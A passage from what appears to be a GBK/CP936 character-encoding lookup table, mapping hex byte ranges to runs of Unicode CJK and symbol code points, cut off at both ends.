595\u5596\u5597\u559A\u559B\u559E\u55A0",6,"\u55A8",8,"\u55B2\u55B4\u55B6\u55B8\u55BA\u55BC\u55BF",4,"\u55C6\u55C7\u55C8\u55CA\u55CB\u55CE\u55CF\u55D0\u55D5\u55D7",4,"\u55DE\u55E0\u55E2\u55E7\u55E9\u55ED\u55EE\u55F0\u55F1\u55F4\u55F6\u55F8",4,"\u55FF\u5602\u5603\u5604\u5605"],["8740","\u5606\u5607\u560A\u560B\u560D\u5610",7,"\u5619\u561A\u561C\u561D\u5620\u5621\u5622\u5625\u5626\u5628\u5629\u562A\u562B\u562E\u562F\u5630\u5633\u5635\u5637\u5638\u563A\u563C\u563D\u563E\u5640",11,"\u564F",4,"\u5655\u5656\u565A\u565B\u565D",4],["8780","\u5663\u5665\u5666\u5667\u566D\u566E\u566F\u5670\u5672\u5673\u5674\u5675\u5677\u5678\u5679\u567A\u567D",7,"\u5687",6,"\u5690\u5691\u5692\u5694",14,"\u56A4",10,"\u56B0",6,"\u56B8\u56B9\u56BA\u56BB\u56BD",12,"\u56CB",8,"\u56D5\u56D6\u56D8\u56D9\u56DC\u56E3\u56E5",5,"\u56EC\u56EE\u56EF\u56F2\u56F3\u56F6\u56F7\u56F8\u56FB\u56FC\u5700\u5701\u5702\u5705\u5707\u570B",6],["8840","\u5712",9,"\u571D\u571E\u5720\u5721\u5722\u5724\u5725\u5726\u5727\u572B\u5731\u5732\u5734",4,"\u573C\u573D\u573F\u5741\u5743\u5744\u5745\u5746\u5748\u5749\u574B\u5752",4,"\u5758\u5759\u5762\u5763\u5765\u5767\u576C\u576E\u5770\u5771\u5772\u5774\u5775\u5778\u5779\u577A\u577D\u577E\u577F\u5780"],["8880","\u5781\u5787\u5788\u5789\u578A\u578D",4,"\u5794",6,"\u579C\u579D\u579E\u579F\u57A5\u57A8\u57AA\u57AC\u57AF\u57B0\u57B1\u57B3\u57B5\u57B6\u57B7\u57B9",8,"\u57C4",6,"\u57CC\u57CD\u57D0\u57D1\u57D3\u57D6\u57D7\u57DB\u57DC\u57DE\u57E1\u57E2\u57E3\u57E5",7,"\u57EE\u57F0\u57F1\u57F2\u57F3\u57F5\u57F6\u57F7\u57FB\u57FC\u57FE\u57FF\u5801\u5803\u5804\u5805\u5808\u5809\u580A\u580C\u580E\u580F\u5810\u5812\u5813\u5814\u5816\u5817\u5818\u581A\u581B\u581C\u581D\u581F\u5822\u5823\u5825",4,"\u582B",4,"\u5831\u5832\u5833\u5834\u5836",7],["8940","\u583E",5,"\u5845",6,"\u584E\u584F\u5850\u5852\u5853\u5855\u5856\u5857\u5859",4,"\u585F",5,"\u5866",4,"\u586D",16,"\u587F\u5882\u5884\u5886\u5887\u5888\u588A\u588B\u588C"],["8980","\u588D",4,"\u5894",4,"\u589B\u589C\u589D\u58A0",7,"\u58AA",17,"\u58BD\u58BE\u58BF\u58C0\u58C2\u58C3\u58C4\u58C6",10,"\u58D2\u58D3\u58D4\u58D6",13,"\u58E5",5,"\u58ED\u58EF\u58F1\u58F2\u58F4\u58F5\u58F7\u58F8\u58FA",7,"\u5903\u5905\u5906\u5908",4,"\u590E\u5910\u5911\u5912\u5913\u5917\u5918\u591B\u591D\u591E\u5920\u5921\u5922\u5923\u5926\u5928\u592C\u5930\u5932\u5933\u5935\u5936\u593B"],["8a40","\u593D\u593E\u593F\u5940\u5943\u5945\u5946\u594A\u594C\u594D\u5950\u5952\u5953\u5959\u595B",4,"\u5961\u5963\u5964\u5966",12,"\u5975\u5977\u597A\u597B\u597C\u597E\u597F\u5980\u5985\u5989\u598B\u598C\u598E\u598F\u5990\u5991\u5994\u5995\u5998\u599A\u599B\u599C\u599D\u599F\u59A0\u59A1\u59A2\u59A6"],["8a80","\u59A7\u59AC\u59AD\u59B0\u59B1\u59B3",5,"\u59BA\u59BC\u59BD\u59BF",6,"\u59C7\u59C8\u59C9\u59CC\u59CD\u59CE\u59CF\u59D5\u59D6\u59D9\u59DB\u59DE",4,"\u59E4\u59E6\u59E7\u59E9\u59EA\u59EB\u59ED",11,"\u59FA\u59FC\u59FD\u59FE\u5A00\u5A02\u5A0A\u5A0B\u5A0D\u5A0E\u5A0F\u5A10\u5A12\u5A14\u5A15\u5A16\u5A17\u5A19\u5A1A\u5A1B\u5A1D\u5A1E\u5A21\u5A22\u5A24\u5A26\u5A27\u5A28\u5A2A",6,"\u5A33\u5A35\u5A37",4,"\u5A3D\u5A3E\u5A3F\u5A41",4,"\u5A47\u5A48\u5A4B",9,"\u5A56\u5A57\u5A58\u5A59\u5A5B",5],["8b40","\u5A61\u5A63\u5A64\u5A65\u5A66\u5A68\u5A69\u5A6B",8,"\u5A78\u5A79\u5A7B\u5A7C\u5A7D\u5A7E\u5A80",17,"\u5A93",6,"\u5A9C",13,"\u5AAB\u5AAC"],["8b80","\u5AAD",4,"\u5AB4\u5AB6\u5AB7\u5AB9",4,"\u5ABF\u5AC0\u5AC3",5,"\u5ACA\u5ACB\u5ACD",4,"\u5AD3\u5AD5\u5AD7\u5AD9\u5ADA\u5ADB\u5ADD\u5ADE\u5ADF\u5AE2\u5AE4\u5AE5\u5AE7\u5AE8\u5AEA\u5AEC",4,"\u5AF2",22,"\u5B0A",11,"\u5B18",25,"\u5B33\u5B35\u5B36\u5B38",7,"\u5B41",6],["8c40","\u5B48",7,"\u5B52\u5B56\u5B5E\u5B60\u5B61\u5B67\u5B68\u5B6B\u5B6D\u5B6E\u5B6F\u5B72\u5B74\u5B76\u5B77\u5B78\u5B79\u5B7B\u5B7C\u5B7E\u5B7F\u5B82\u5B86\u5B8A\u5B8D\u5B8E\u5B90\u5B91\u5B92\u5B94\u5B96\u5B9F\u5BA7\u5BA8\u5BA9\u5BAC\u5BAD\u5BAE\u5BAF\u5BB1\u5BB2\u5BB7\u5BBA\u5BBB\u5BBC\u5BC0\u5BC1\u5BC3\u5BC8\u5BC9\u5BCA\u5BCB\u5BCD\u5BCE\u5BCF"],["8c80","\u5BD1\u5BD4",8,"\u5BE0\u5BE2\u5BE3\u5BE6\u5BE7\u5BE9",4,"\u5BEF\u5BF1",6,"\u5BFD\u5BFE\u5C00\u5C02\u5C03\u5C05\u5C07\u5C08\u5C0B\u5C0C\u5C0D\u5C0E\u5C10\u5C12\u5C13\u5C17\u5C19\u5C1B\u5C1E\u5C1F\u5C20\u5C21\u5C23\u5C26\u5C28\u5C29\u5C2A\u5C2B\u5C2D\u5C2E\u5C2F\u5C30\u5C32\u5C33\u5C35\u5C36\u5C37\u5C43\u5C44\u5C46\u5C47\u5C4C\u5C4D\u5C52\u5C53\u5C54\u5C56\u5C57\u5C58\u5C5A\u5C5B\u5C5C\u5C5D\u5C5F\u5C62\u5C64\u5C67",6,"\u5C70\u5C72",6,"\u5C7B\u5C7C\u5C7D\u5C7E\u5C80\u5C83",4,"\u5C89\u5C8A\u5C8B\u5C8E\u5C8F\u5C92\u5C93\u5C95\u5C9D",4,"\u5CA4",4],["8d40","\u5CAA\u5CAE\u5CAF\u5CB0\u5CB2\u5CB4\u5CB6\u5CB9\u5CBA\u5CBB\u5CBC\u5CBE\u5CC0\u5CC2\u5CC3\u5CC5",5,"\u5CCC",5,"\u5CD3",5,"\u5CDA",6,"\u5CE2\u5CE3\u5CE7\u5CE9\u5CEB\u5CEC\u5CEE\u5CEF\u5CF1",9,"\u5CFC",4],["8d80","\u5D01\u5D04\u5D05\u5D08",5,"\u5D0F",4,"\u5D15\u5D17\u5D18\u5D19\u5D1A\u5D1C\u5D1D\u5D1F",4,"\u5D25\u5D28\u5D2A\u5D2B\u5D2C\u5D2F",4,"\u5D35",7,"\u5D3F",7,"\u5D48\u5D49\u5D4D",10,"\u5D59\u5D5A\u5D5C\u5D5E",10,"\u5D6A\u5D6D\u5D6E\u5D70\u5D71\u5D72\u5D73\u5D75",12,"\u5D83",21,"\u5D9A\u5D9B\u5D9C\u5D9E\u5D9F\u5DA0"],["8e40","\u5DA1",21,"\u5DB8",12,"\u5DC6",6,"\u5DCE",12,"\u5DDC\u5DDF\u5DE0\u5DE3\u5DE4\u5DEA\u5DEC\u5DED"],["8e80","\u5DF0\u5DF5\u5DF6\u5DF8",4,"\u5DFF\u5E00\u5E04\u5E07\u5E09\u5E0A\u5E0B\u5E0D\u5E0E\u5E12\u5E13\u5E17\u5E1E",7,"\u5E28",4,"\u5E2F\u5E30\u5E32",4,"\u5E39\u5E3A\u5E3E\u5E3F\u5E40\u5E41\u5E43\u5E46",5,"\u5E4D",6,"\u5E56",4,"\u5E5C\u5E5D\u5E5F\u5E60\u5E63",14,"\u5E75\u5E77\u5E79\u5E7E\u5E81\u5E82\u5E83\u5E85\u5E88\u5E89\u5E8C\u5E8D\u5E8E\u5E92\u5E98\u5E9B\u5E9D\u5EA1\u5EA2\u5EA3\u5EA4\u5EA8",4,"\u5EAE",4,"\u5EB4\u5EBA\u5EBB\u5EBC\u5EBD\u5EBF",6],["8f40","\u5EC6\u5EC7\u5EC8\u5ECB",5,"\u5ED4\u5ED5\u5ED7\u5ED8\u5ED9\u5EDA\u5EDC",11,"\u5EE9\u5EEB",8,"\u5EF5\u5EF8\u5EF9\u5EFB\u5EFC\u5EFD\u5F05\u5F06\u5F07\u5F09\u5F0C\u5F0D\u5F0E\u5F10\u5F12\u5F14\u5F16\u5F19\u5F1A\u5F1C\u5F1D\u5F1E\u5F21\u5F22\u5F23\u5F24"],["8f80","\u5F28\u5F2B\u5F2C\u5F2E\u5F30\u5F32",6,"\u5F3B\u5F3D\u5F3E\u5F3F\u5F41",14,"\u5F51\u5F54\u5F59\u5F5A\u5F5B\u5F5C\u5F5E\u5F5F\u5F60\u5F63\u5F65\u5F67\u5F68\u5F6B\u5F6E\u5F6F\u5F72\u5F74\u5F75\u5F76\u5F78\u5F7A\u5F7D\u5F7E\u5F7F\u5F83\u5F86\u5F8D\u5F8E\u5F8F\u5F91\u5F93\u5F94\u5F96\u5F9A\u5F9B\u5F9D\u5F9E\u5F9F\u5FA0\u5FA2",5,"\u5FA9\u5FAB\u5FAC\u5FAF",5,"\u5FB6\u5FB8\u5FB9\u5FBA\u5FBB\u5FBE",4,"\u5FC7\u5FC8\u5FCA\u5FCB\u5FCE\u5FD3\u5FD4\u5FD5\u5FDA\u5FDB\u5FDC\u5FDE\u5FDF\u5FE2\u5FE3\u5FE5\u5FE6\u5FE8\u5FE9\u5FEC\u5FEF\u5FF0\u5FF2\u5FF3\u5FF4\u5FF6\u5FF7\u5FF9\u5FFA\u5FFC\u6007"],["9040","\u6008\u6009\u600B\u600C\u6010\u6011\u6013\u6017\u6018\u601A\u601E\u601F\u6022\u6023\u6024\u602C\u602D\u602E\u6030",4,"\u6036",4,"\u603D\u603E\u6040\u6044",6,"\u604C\u604E\u604F\u6051\u6053\u6054\u6056\u6057\u6058\u605B\u605C\u605E\u605F\u6060\u6061\u6065\u6066\u606E\u6071\u6072\u6074\u6075\u6077\u607E\u6080"],["9080","\u6081\u6082\u6085\u6086\u6087\u6088\u608A\u608B\u608E\u608F\u6090\u6091\u6093\u6095\u6097\u6098\u6099\u609C\u609E\u60A1\u60A2\u60A4\u60A5\u60A7\u60A9\u60AA\u60AE\u60B0\u60B3\u60B5\u60B6\u60B7\u60B9\u60BA\u60BD",7,"\u60C7\u60C8\u60C9\u60CC",4,"\u60D2\u60D3\u60D4\u60D6\u60D7\u60D9\u60DB\u60DE\u60E1",4,"\u60EA\u60F1\u60F2\u60F5\u60F7\u60F8\u60FB",4,"\u6102\u6103\u6104\u6105\u6107\u610A\u610B\u610C\u6110",4,"\u6116\u6117\u6118\u6119\u611B\u611C\u611D\u611E\u6121\u6122\u6125\u6128\u6129\u612A\u612C",18,"\u6140",6],["9140","\u6147\u6149\u614B\u614D\u614F\u6150\u6152\u6153\u6154\u6156",6,"\u615E\u615F\u6160\u6161\u6163\u6164\u6165\u6166\u6169",6,"\u6171\u6172\u6173\u6174\u6176\u6178",18,"\u618C\u618D\u618F",4,"\u6195"],["9180","\u6196",6,"\u619E",8,"\u61AA\u61AB\u61AD",9,"\u61B8",5,"\u61BF\u61C0\u61C1\u61C3",4,"\u61C9\u61CC",4,"\u61D3\u61D5",16,"\u61E7",13,"\u61F6",8,"\u6200",5,"\u6207\u6209\u6213\u6214\u6219\u621C\u621D\u621E\u6220\u6223\u6226\u6227\u6228\u6229\u622B\u622D\u622F\u6230\u6231\u6232\u6235\u6236\u6238",4,"\u6242\u6244\u6245\u6246\u624A"],["9240","\u624F\u6250\u6255\u6256\u6257\u6259\u625A\u625C",6,"\u6264\u6265\u6268\u6271\u6272\u6274\u6275\u6277\u6278\u627A\u627B\u627D\u6281\u6282\u6283\u6285\u6286\u6287\u6288\u628B",5,"\u6294\u6299\u629C\u629D\u629E\u62A3\u62A6\u62A7\u62A9\u62AA\u62AD\u62AE\u62AF\u62B0\u62B2\u62B3\u62B4\u62B6\u62B7\u62B8\u62BA\u62BE\u62C0\u62C1"],["9280","\u62C3\u62CB\u62CF\u62D1\u62D5\u62DD\u62DE\u62E0\u62E1\u62E4\u62EA\u62EB\u62F0\u62F2\u62F5\u62F8\u62F9\u62FA\u62FB\u6300\u6303\u6304\u6305\u6306\u630A\u630B\u630C\u630D\u630F\u6310\u6312\u6313\u6314\u6315\u6317\u6318\u6319\u631C\u6326\u6327\u6329\u632C\u632D\u632E\u6330\u6331\u6333",5,"\u633B\u633C\u633E\u633F\u6340\u6341\u6344\u6347\u6348\u634A\u6351\u6352\u6353\u6354\u6356",7,"\u6360\u6364\u6365\u6366\u6368\u636A\u636B\u636C\u636F\u6370\u6372\u6373\u6374\u6375\u6378\u6379\u637C\u637D\u637E\u637F\u6381\u6383\u6384\u6385\u6386\u638B\u638D\u6391\u6393\u6394\u6395\u6397\u6399",6,"\u63A1\u63A4\u63A6\u63AB\u63AF\u63B1\u63B2\u63B5\u63B6\u63B9\u63BB\u63BD\u63BF\u63C0"],["9340","\u63C1\u63C2\u63C3\u63C5\u63C7\u63C8\u63CA\u63CB\u63CC\u63D1\u63D3\u63D4\u63D5\u63D7",6,"\u63DF\u63E2\u63E4",4,"\u63EB\u63EC\u63EE\u63EF\u63F0\u63F1\u63F3\u63F5\u63F7\u63F9\u63FA\u63FB\u63FC\u63FE\u6403\u6404\u6406",4,"\u640D\u640E\u6411\u6412\u6415",5,"\u641D\u641F\u6422\u6423\u6424"],["9380","\u6425\u6427\u6428\u6429\u642B\u642E",5,"\u6435",4,"\u643B\u643C\u643E\u6440\u6442\u6443\u6449\u644B",6,"\u6453\u6455\u6456\u6457\u6459",4,"\u645F",7,"\u6468\u646A\u646B\u646C\u646E",9,"\u647B",6,"\u6483\u6486\u6488",8,"\u6493\u6494\u6497\u6498\u649A\u649B\u649C\u649D\u649F",4,"\u64A5\u64A6\u64A7\u64A8\u64AA\u64AB\u64AF\u64B1\u64B2\u64B3\u64B4\u64B6\u64B9\u64BB\u64BD\u64BE\u64BF\u64C1\u64C3\u64C4\u64C6",6,"\u64CF\u64D1\u64D3\u64D4\u64D5\u64D6\u64D9\u64DA"],["9440","\u64DB\u64DC\u64DD\u64DF\u64E0\u64E1\u64E3\u64E5\u64E7",24,"\u6501",7,"\u650A",7,"\u6513",4,"\u6519",8],["9480","\u6522\u6523\u6524\u6526",4,"\u652C\u652D\u6530\u6531\u6532\u6533\u6537\u653A\u653C\u653D\u6540",4,"\u6546\u6547\u654A\u654B\u654D\u654E\u6550\u6552\u6553\u6554\u6557\u6558\u655A\u655C\u655F\u6560\u6561\u6564\u6565\u6567\u6568\u6569\u656A\u656D\u656E\u656F\u6571\u6573\u6575\u6576\u6578",14,"\u6588\u6589\u658A\u658D\u658E\u658F\u6592\u6594\u6595\u6596\u6598\u659A\u659D\u659E\u65A0\u65A2\u65A3\u65A6\u65A8\u65AA\u65AC\u65AE\u65B1",7,"\u65BA\u65BB\u65BE\u65BF\u65C0\u65C2\u65C7\u65C8\u65C9\u65CA\u65CD\u65D0\u65D1\u65D3\u65D4\u65D5\u65D8",7,"\u65E1\u65E3\u65E4\u65EA\u65EB"],["9540","\u65F2\u65F3\u65F4\u65F5\u65F8\u65F9\u65FB",4,"\u6601\u6604\u6605\u6607\u6608\u6609\u660B\u660D\u6610\u6611\u6612\u6616\u6617\u6618\u661A\u661B\u661C\u661E\u6621\u6622\u6623\u6624\u6626\u6629\u662A\u662B\u662C\u662E\u6630\u6632\u6633\u6637",4,"\u663D\u663F\u6640\u6642\u6644",6,"\u664D\u664E\u6650\u6651\u6658"],["9580","\u6659\u665B\u665C\u665D\u665E\u6660\u6662\u6663\u6665\u6667\u6669",4,"\u6671\u6672\u6673\u6675\u6678\u6679\u667B\u667C\u667D\u667F\u6680\u6681\u6683\u6685\u6686\u6688\u6689\u668A\u668B\u668D\u668E\u668F\u6690\u6692\u6693\u6694\u6695\u6698",4,"\u669E",8,"\u66A9",4,"\u66AF",4,"\u66B5\u66B6\u66B7\u66B8\u66BA\u66BB\u66BC\u66BD\u66BF",25,"\u66DA\u66DE",7,"\u66E7\u66E8\u66EA",5,"\u66F1\u66F5\u66F6\u66F8\u66FA\u66FB\u66FD\u6701\u6702\u6703"],["9640","\u6704\u6705\u6706\u6707\u670C\u670E\u670F\u6711\u6712\u6713\u6716\u6718\u6719\u671A\u671C\u671E\u6720",5,"\u6727\u6729\u672E\u6730\u6732\u6733\u6736\u6737\u6738\u6739\u673B\u673C\u673E\u673F\u6741\u6744\u6745\u6747\u674A\u674B\u674D\u6752\u6754\u6755\u6757",4,"\u675D\u6762\u6763\u6764\u6766\u6767\u676B\u676C\u676E\u6771\u6774\u6776"],["9680","\u6778\u6779\u677A\u677B\u677D\u6780\u6782\u6783\u6785\u6786\u6788\u678A\u678C\u678D\u678E\u678F\u6791\u6792\u6793\u6794\u6796\u6799\u679B\u679F\u67A0\u67A1\u67A4\u67A6\u67A9\u67AC\u67AE\u67B1\u67B2\u67B4\u67B9",7,"\u67C2\u67C5",9,"\u67D5\u67D6\u67D7\u67DB\u67DF\u67E1\u67E3\u67E4\u67E6\u67E7\u67E8\u67EA\u67EB\u67ED\u67EE\u67F2\u67F5",7,"\u67FE\u6801\u6802\u6803\u6804\u6806\u680D\u6810\u6812\u6814\u6815\u6818",4,"\u681E\u681F\u6820\u6822",6,"\u682B",6,"\u6834\u6835\u6836\u683A\u683B\u683F\u6847\u684B\u684D\u684F\u6852\u6856",5],["9740","\u685C\u685D\u685E\u685F\u686A\u686C",7,"\u6875\u6878",8,"\u6882\u6884\u6887",7,"\u6890\u6891\u6892\u6894\u6895\u6896\u6898",9,"\u68A3\u68A4\u68A5\u68A9\u68AA\u68AB\u68AC\u68AE\u68B1\u68B2\u68B4\u68B6\u68B7\u68B8"],["9780","\u68B9",6,"\u68C1\u68C3",5,"\u68CA\u68CC\u68CE\u68CF\u68D0\u68D1\u68D3\u68D4\u68D6\u68D7\u68D9\u68DB",4,"\u68E1\u68E2\u68E4",9,"\u68EF\u68F2\u68F3\u68F4\u68F6\u68F7\u68F8\u68FB\u68FD\u68FE\u68FF\u6900\u6902\u6903\u6904\u6906",4,"\u690C\u690F\u6911\u6913",11,"\u6921\u6922\u6923\u6925",7,"\u692E\u692F\u6931\u6932\u6933\u6935\u6936\u6937\u6938\u693A\u693B\u693C\u693E\u6940\u6941\u6943",16,"\u6955\u6956\u6958\u6959\u695B\u695C\u695F"],["9840","\u6961\u6962\u6964\u6965\u6967\u6968\u6969\u696A\u696C\u696D\u696F\u6970\u6972",4,"\u697A\u697B\u697D\u697E\u697F\u6981\u6983\u6985\u698A\u698B\u698C\u698E",5,"\u6996\u6997\u6999\u699A\u699D",9,"\u69A9\u69AA\u69AC\u69AE\u69AF\u69B0\u69B2\u69B3\u69B5\u69B6\u69B8\u69B9\u69BA\u69BC\u69BD"],["9880","\u69BE\u69BF\u69C0\u69C2",7,"\u69CB\u69CD\u69CF\u69D1\u69D2\u69D3\u69D5",5,"\u69DC\u69DD\u69DE\u69E1",11,"\u69EE\u69EF\u69F0\u69F1\u69F3",9,"\u69FE\u6A00",9,"\u6A0B",11,"\u6A19",5,"\u6A20\u6A22",5,"\u6A29\u6A2B\u6A2C\u6A2D\u6A2E\u6A30\u6A32\u6A33\u6A34\u6A36",6,"\u6A3F",4,"\u6A45\u6A46\u6A48",7,"\u6A51",6,"\u6A5A"],["9940","\u6A5C",4,"\u6A62\u6A63\u6A64\u6A66",10,"\u6A72",6,"\u6A7A\u6A7B\u6A7D\u6A7E\u6A7F\u6A81\u6A82\u6A83\u6A85",8,"\u6A8F\u6A92",4,"\u6A98",7,"\u6AA1",5],["9980","\u6AA7\u6AA8\u6AAA\u6AAD",114,"\u6B25\u6B26\u6B28",6],["9a40","\u6B2F\u6B30\u6B31\u6B33\u6B34\u6B35\u6B36\u6B38\u6B3B\u6B3C\u6B3D\u6B3F\u6B40\u6B41\u6B42\u6B44\u6B45\u6B48\u6B4A\u6B4B\u6B4D",11,"\u6B5A",7,"\u6B68\u6B69\u6B6B",13,"\u6B7A\u6B7D\u6B7E\u6B7F\u6B80\u6B85\u6B88"],["9a80","\u6B8C\u6B8E\u6B8F\u6B90\u6B91\u6B94\u6B95\u6B97\u6B98\u6B99\u6B9C",4,"\u6BA2",7,"\u6BAB",7,"\u6BB6\u6BB8",6,"\u6BC0\u6BC3\u6BC4\u6BC6",4,"\u6BCC\u6BCE\u6BD0\u6BD1\u6BD8\u6BDA\u6BDC",4,"\u6BE2",7,"\u6BEC\u6BED\u6BEE\u6BF0\u6BF1\u6BF2\u6BF4\u6BF6\u6BF7\u6BF8\u6BFA\u6BFB\u6BFC\u6BFE",6,"\u6C08",4,"\u6C0E\u6C12\u6C17\u6C1C\u6C1D\u6C1E\u6C20\u6C23\u6C25\u6C2B\u6C2C\u6C2D\u6C31\u6C33\u6C36\u6C37\u6C39\u6C3A\u6C3B\u6C3C\u6C3E\u6C3F\u6C43\u6C44\u6C45\u6C48\u6C4B",4,"\u6C51\u6C52\u6C53\u6C56\u6C58"],["9b40","\u6C59\u6C5A\u6C62\u6C63\u6C65\u6C66\u6C67\u6C6B",4,"\u6C71\u6C73\u6C75\u6C77\u6C78\u6C7A\u6C7B\u6C7C\u6C7F\u6C80\u6C84\u6C87\u6C8A\u6C8B\u6C8D\u6C8E\u6C91\u6C92\u6C95\u6C96\u6C97\u6C98\u6C9A\u6C9C\u6C9D\u6C9E\u6CA0\u6CA2\u6CA8\u6CAC\u6CAF\u6CB0\u6CB4\u6CB5\u6CB6\u6CB7\u6CBA\u6CC0\u6CC1\u6CC2\u6CC3\u6CC6\u6CC7\u6CC8\u6CCB\u6CCD\u6CCE\u6CCF\u6CD1\u6CD2\u6CD8"],["9b80","\u6CD9\u6CDA\u6CDC\u6CDD\u6CDF\u6CE4\u6CE6\u6CE7\u6CE9\u6CEC\u6CED\u6CF2\u6CF4\u6CF9\u6CFF\u6D00\u6D02\u6D03\u6D05\u6D06\u6D08\u6D09\u6D0A\u6D0D\u6D0F\u6D10\u6D11\u6D13\u6D14\u6D15\u6D16\u6D18\u6D1C\u6D1D\u6D1F",5,"\u6D26\u6D28\u6D29\u6D2C\u6D2D\u6D2F\u6D30\u6D34\u6D36\u6D37\u6D38\u6D3A\u6D3F\u6D40\u6D42\u6D44\u6D49\u6D4C\u6D50\u6D55\u6D56\u6D57\u6D58\u6D5B\u6D5D\u6D5F\u6D61\u6D62\u6D64\u6D65\u6D67\u6D68\u6D6B\u6D6C\u6D6D\u6D70\u6D71\u6D72\u6D73\u6D75\u6D76\u6D79\u6D7A\u6D7B\u6D7D",4,"\u6D83\u6D84\u6D86\u6D87\u6D8A\u6D8B\u6D8D\u6D8F\u6D90\u6D92\u6D96",4,"\u6D9C\u6DA2\u6DA5\u6DAC\u6DAD\u6DB0\u6DB1\u6DB3\u6DB4\u6DB6\u6DB7\u6DB9",5,"\u6DC1\u6DC2\u6DC3\u6DC8\u6DC9\u6DCA"],["9c40","\u6DCD\u6DCE\u6DCF\u6DD0\u6DD2\u6DD3\u6DD4\u6DD5\u6DD7\u6DDA\u6DDB\u6DDC\u6DDF\u6DE2\u6DE3\u6DE5\u6DE7\u6DE8\u6DE9\u6DEA\u6DED\u6DEF\u6DF0\u6DF2\u6DF4\u6DF5\u6DF6\u6DF8\u6DFA\u6DFD",7,"\u6E06\u6E07\u6E08\u6E09\u6E0B\u6E0F\u6E12\u6E13\u6E15\u6E18\u6E19\u6E1B\u6E1C\u6E1E\u6E1F\u6E22\u6E26\u6E27\u6E28\u6E2A\u6E2C\u6E2E\u6E30\u6E31\u6E33\u6E35"],["9c80","\u6E36\u6E37\u6E39\u6E3B",7,"\u6E45",7,"\u6E4F\u6E50\u6E51\u6E52\u6E55\u6E57\u6E59\u6E5A\u6E5C\u6E5D\u6E5E\u6E60",10,"\u6E6C\u6E6D\u6E6F",14,"\u6E80\u6E81\u6E82\u6E84\u6E87\u6E88\u6E8A",4,"\u6E91",6,"\u6E99\u6E9A\u6E9B\u6E9D\u6E9E\u6EA0\u6EA1\u6EA3\u6EA4\u6EA6\u6EA8\u6EA9\u6EAB\u6EAC\u6EAD\u6EAE\u6EB0\u6EB3\u6EB5\u6EB8\u6EB9\u6EBC\u6EBE\u6EBF\u6EC0\u6EC3\u6EC4\u6EC5\u6EC6\u6EC8\u6EC9\u6ECA\u6ECC\u6ECD\u6ECE\u6ED0\u6ED2\u6ED6\u6ED8\u6ED9\u6EDB\u6EDC\u6EDD\u6EE3\u6EE7\u6EEA",5],["9d40","\u6EF0\u6EF1\u6EF2\u6EF3\u6EF5\u6EF6\u6EF7\u6EF8\u6EFA",7,"\u6F03\u6F04\u6F05\u6F07\u6F08\u6F0A",4,"\u6F10\u6F11\u6F12\u6F16",9,"\u6F21\u6F22\u6F23\u6F25\u6F26\u6F27\u6F28\u6F2C\u6F2E\u6F30\u6F32\u6F34\u6F35\u6F37",6,"\u6F3F\u6F40\u6F41\u6F42"],["9d80","\u6F43\u6F44\u6F45\u6F48\u6F49\u6F4A\u6F4C\u6F4E",9,"\u6F59\u6F5A\u6F5B\u6F5D\u6F5F\u6F60\u6F61\u6F63\u6F64\u6F65\u6F67",5,"\u6F6F\u6F70\u6F71\u6F73\u6F75\u6F76\u6F77\u6F79\u6F7B\u6F7D",6,"\u6F85\u6F86\u6F87\u6F8A\u6F8B\u6F8F",12,"\u6F9D\u6F9E\u6F9F\u6FA0\u6FA2",4,"\u6FA8",10,"\u6FB4\u6FB5\u6FB7\u6FB8\u6FBA",5,"\u6FC1\u6FC3",5,"\u6FCA",6,"\u6FD3",10,"\u6FDF\u6FE2\u6FE3\u6FE4\u6FE5"],["9e40","\u6FE6",7,"\u6FF0",32,"\u7012",7,"\u701C",6,"\u7024",6],["9e80","\u702B",9,"\u7036\u7037\u7038\u703A",17,"\u704D\u704E\u7050",13,"\u705F",11,"\u706E\u7071\u7072\u7073\u7074\u7077\u7079\u707A\u707B\u707D\u7081\u7082\u7083\u7084\u7086\u7087\u7088\u708B\u708C\u708D\u708F\u7090\u7091\u7093\u7097\u7098\u709A\u709B\u709E",12,"\u70B0\u70B2\u70B4\u70B5\u70B6\u70BA\u70BE\u70BF\u70C4\u70C5\u70C6\u70C7\u70C9\u70CB",12,"\u70DA"],["9f40","\u70DC\u70DD\u70DE\u70E0\u70E1\u70E2\u70E3\u70E5\u70EA\u70EE\u70F0",6,"\u70F8\u70FA\u70FB\u70FC\u70FE",10,"\u710B",4,"\u7111\u7112\u7114\u7117\u711B",10,"\u7127",7,"\u7132\u7133\u7134"],["9f80","\u7135\u7137",13,"\u7146\u7147\u7148\u7149\u714B\u714D\u714F",12,"\u715D\u715F",4,"\u7165\u7169",4,"\u716F\u7170\u7171\u7174\u7175\u7176\u7177\u7179\u717B\u717C\u717E",5,"\u7185",4,"\u718B\u718C\u718D\u718E\u7190\u7191\u7192\u7193\u7195\u7196\u7197\u719A",4,"\u71A1",6,"\u71A9\u71AA\u71AB\u71AD",5,"\u71B4\u71B6\u71B7\u71B8\u71BA",8,"\u71C4",9,"\u71CF",4],["a040","\u71D6",9,"\u71E1\u71E2\u71E3\u71E4\u71E6\u71E8",5,"\u71EF",9,"\u71FA",11,"\u7207",19],["a080","\u721B\u721C\u721E",9,"\u7229\u722B\u722D\u722E\u722F\u7232\u7233\u7234\u723A\u723C\u723E\u7240",6,"\u7249\u724A\u724B\u724E\u724F\u7250\u7251\u7253\u7254\u7255\u7257\u7258\u725A\u725C\u725E\u7260\u7263\u7264\u7265\u7268\u726A\u726B\u726C\u726D\u7270\u7271\u7273\u7274\u7276\u7277\u7278\u727B\u727C\u727D\u7282\u7283\u7285",4,"\u728C\u728E\u7290\u7291\u7293",11,"\u72A0",11,"\u72AE\u72B1\u72B2\u72B3\u72B5\u72BA",6,"\u72C5\u72C6\u72C7\u72C9\u72CA\u72CB\u72CC\u72CF\u72D1\u72D3\u72D4\u72D5\u72D6\u72D8\u72DA\u72DB"],["a1a1","\u3000\u3001\u3002\xB7\u02C9\u02C7\xA8\u3003\u3005\u2014\uFF5E\u2016\u2026\u2018\u2019\u201C\u201D\u3014\u3015\u3008",7,"\u3016\u3017\u3010\u3011\xB1\xD7\xF7\u2236\u2227\u2228\u2211\u220F\u222A\u2229\u2208\u2237\u221A\u22A5\u2225\u2220\u2312\u2299\u222B\u222E\u2261\u224C\u2248\u223D\u221D\u2260\u226E\u226F\u2264\u2265\u221E\u2235\u2234\u2642\u2640\xB0\u2032\u2033\u2103\uFF04\xA4\uFFE0\uFFE1\u2030\xA7\u2116\u2606\u2605\u25CB\u25CF\u25CE\u25C7\u25C6\u25A1\u25A0\u25B3\u25B2\u203B\u2192\u2190\u2191\u2193\u3013"],["a2a1","\u2170",9],["a2b1","\u2488",19,"\u2474",19,"\u2460",9],["a2e5","\u3220",9],["a2f1